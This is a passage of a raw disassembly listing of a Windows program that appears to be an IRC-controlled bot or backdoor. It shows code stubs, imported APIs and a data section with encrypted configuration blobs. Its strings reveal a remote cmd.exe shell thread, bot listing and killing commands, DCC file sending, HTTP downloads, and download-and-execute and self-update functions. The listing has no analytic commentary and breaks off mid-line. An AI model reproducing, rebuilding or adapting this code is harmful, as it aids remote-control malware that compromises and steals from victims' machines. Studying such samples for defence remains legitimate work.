bp-based frame sub_416EAF proc near ; CODE XREF: .text:00416EA6p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; --------------------------------------------------------------------------- byte_416F05 db 56h, 8Bh, 0F1h ; DATA XREF: .rdata:off_4172B4o dd 41E8h, 2444F600h, 7740108h, 0FEB2E856h, 8B59FFFFh, 4C25EC6h dd 24448B00h, 0F18B5604h, 8904488Bh, 408B044Eh, 0C668308h dd 8468900h, 6C7C085h, 4172B4h, 88B0674h, 451FF50h, 0C25EC68Bh dd 8B560004h, 8468BF1h, 72B406C7h, 0C0850041h, 88B0674h dd 851FF50h, 850C768Bh, 560774F6h, 70B015FFh, 0C35E0041h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: .text:00401364p ; sub_406E8E+DAp ... jmp ds:dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: .text:004021D5p ; .text:00403AE9p ... jmp ds:dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: .text:00402AFEp ; .text:00402CEBp ... jmp ds:dword_417118 sub_416F80 endp ; --------------------------------------------------------------------------- word_416F86 dw 8B56h ; DATA XREF: .rdata:off_4172B4o dd 1AE8F1h, 44F60000h, 74010824h, 31E85607h, 59FFFFFEh dd 0C25EC68Bh db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp ds:dword_41711C sub_416FA2 endp ; --------------------------------------------------------------------------- dd 712025FFh, 0CCCC0041h, 0F6008D8Dh, 84E8FFFFh, 0C3FFFFEBh dd 0E8F04D8Dh, 0FFFFEB7Bh, 88D8DC3h, 0E8FFFFF2h, 0FFFFEB6Fh dd 0EC8D8DC3h, 0E8FFFFF1h, 0FFFFEB63h, 7350B8C3h, 21E90041h dd 0FFFFFEh, 6 dup(0) _text ends ; Section 2. (virtual address 00017000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00017000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 417000h dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; .text:0040868Ar ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: .text:00408493r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: .text:004084CBr ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: .text:00403552r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: .text:00402B1Er ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: .text:00402B28r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: .text:004019D0r dword_417070 dd 77E7727Ah ; DATA XREF: .text:00401A1Fr ; .text:00401A58r dword_417074 dd 77E79C90h ; DATA XREF: .text:00401A85r ; .text:00401A92r dword_417078 dd 77E65F4Ch ; DATA XREF: .text:004084A7r dword_41707C dd 77E61BB8h ; DATA XREF: .text:00401B47r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: .text:00401BF5r dword_417084 dd 77E7FF65h ; DATA XREF: .text:00401C34r dword_417088 dd 77E78B82h ; DATA XREF: .text:00401CFCr dword_41708C dd 77E79F93h ; DATA XREF: .text:00401336r ; .text:004034FBr ... dword_417090 dd 77E7A099h ; DATA XREF: .text:0040133Dr ; .text:00403502r ... dword_417094 dd 77E706B7h ; DATA XREF: .text:0040139Dr ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: .text:00401461r ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: .text:0040160Ar ; .text:00401738r ... dword_4170A0 dd 77E616B4h ; DATA XREF: .text:0040167Dr ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: .text:004016B5r ; .text:00401705r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; .text:00401E68r ... dd 77E79A45h dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: .text:004083E0r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; .text:00409062r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; .text:00408FADr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: .text:00409407r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: .text:0040131Br ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: .text:00401A99r dword_4170F4 dd 77E78C17h ; DATA XREF: .text:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: .text:00416899r dd 77E73167h, 77E73BEFh dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dd 77C20C5Bh, 77C21AD8h dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: .text:00416DBCo dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: .text:00416E92r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; .text:004031CDr ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dd 77D79D1Ch dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; .text:004090FFr ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; .text:00415BE4r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; .text:00405660r ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; .text:00411EA4r ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: .text:0040392Cr ; .text:004074D5r ... dword_417220 dd 71ABD755h ; DATA XREF: .text:0040398Ar ; .text:00403A2Br ... dword_417224 dd 71AB1740h ; DATA XREF: .text:0040399Fr ; .text:00403A40r ... dword_417228 dd 71ABD850h ; DATA XREF: .text:00403B47r dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: .text:004035ABr ; .text:004035D2r ... dword_417238 dd 71AB1746h ; DATA XREF: .text:00403642r ; .text:00403786r ... dword_41723C dd 71AB2BBFh ; DATA XREF: .text:004036D9r ; .text:004056D8r ... dword_417240 dd 71AB157Eh ; DATA XREF: .text:0040217Br ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: .text:004022BCr ; .text:004056C2r ... dword_417248 dd 71AB5690h ; DATA XREF: .text:00401F3Er ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: .text:00401F79r ; .text:004022C3r dword_417250 dd 71AB1ED3h ; DATA XREF: .text:00405DD7r ; .text:00412137r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: .text:00412066r dword_41725C dd 71AB14DCh ; DATA XREF: .text:004160C0r dword_417260 dd 71AB32CAh ; DATA XREF: .text:00415FEAr dword_417264 dd 71AB41DAh ; DATA XREF: .text:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: .text:0040203Fr ; .text:00402067r ... flt_417274 dd 1.024e3 ; DATA XREF: .text:00408DD2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: .text:004093BBo dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: .text:004094EBo dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: .text:004167F6o dd 416AC5h, 416ADBh, 4172F0h off_4172B4 dd offset byte_416F05, offset dword_417338, offset word_416F86 ; DATA XREF: sub_416ED3+12o ; .rdata:004172D8o dd offset dword_41DDE0, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172B4+0Ch dd 3 dup(0) dd 1, 4172D8h, 3 dup(0) dd 41DDE0h, 4172E0h, 0 off_417308 dd offset aRa, 2 dup(0) ; DATA XREF: .rdata:00417320o ; "¼rA" dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 align 10h dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: .rdata:off_4172B4o dd 41DE00h, 417328h, 0 dd 19930520h, 4, 417370h, 5 dup(0) dd 0FFFFFFFFh, 416FB0h, 0 dd 416FBCh, 1, 416FC5h, 2, 416FD1h, 0 dd offset dword_41DDE0, 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: .rdata:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd 416F4Eh, 0 dd offset dword_4173B0 dd 400000h, 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 3 dup(400000h), 2 dup(0) dd 2 dup(400000h), 5 dup(0) dd 0Bh dup(400000h), 0 dd 38h dup(400000h), 0 dd 2Ch dup(400000h), 0 dd 400000h, 0 dd 400000h, 0 dd 6 dup(400000h), 0 dd 1Eh dup(400000h), 0 dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree_0 db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 200h _rdata ends ; Section 3. (virtual address 00018000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00018000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 418000h off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch ; DATA XREF: .data:0041800Co dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0) dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h ; DATA XREF: .data:00418008o dd 0BFD1h, 0 dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:00418004o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0 dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:off_418000o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 95h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: .text:00401771o dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: .text:0040174Eo dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: .text:00401656o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: .text:00401289o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: .text:00401C4Ao aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: .text:00401BFFo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: .text:004019C9o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; .text:00403F7Fo ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; .text:004031C6o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: .text:00402080o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: .text:00401F04o dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: .text:00401E6Eo ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: .text:004024A3o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: .text:004023D5o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: .text:00402350o dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: .text:004022D1o dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: .text:00402294o align 4 aRb db 'rb',0 ; DATA XREF: .text:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: .text:00403228o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: .text:00403203o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: .text:0040316Ao dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh aExecuting db ', executing',0 ; DATA XREF: .text:004030E2o aUpdating db ', updating',0 ; DATA XREF: .text:004030CBo align 4 unk_4184CC db 2Dh ; - ; DATA XREF: .text:00402F40o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: .text:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: 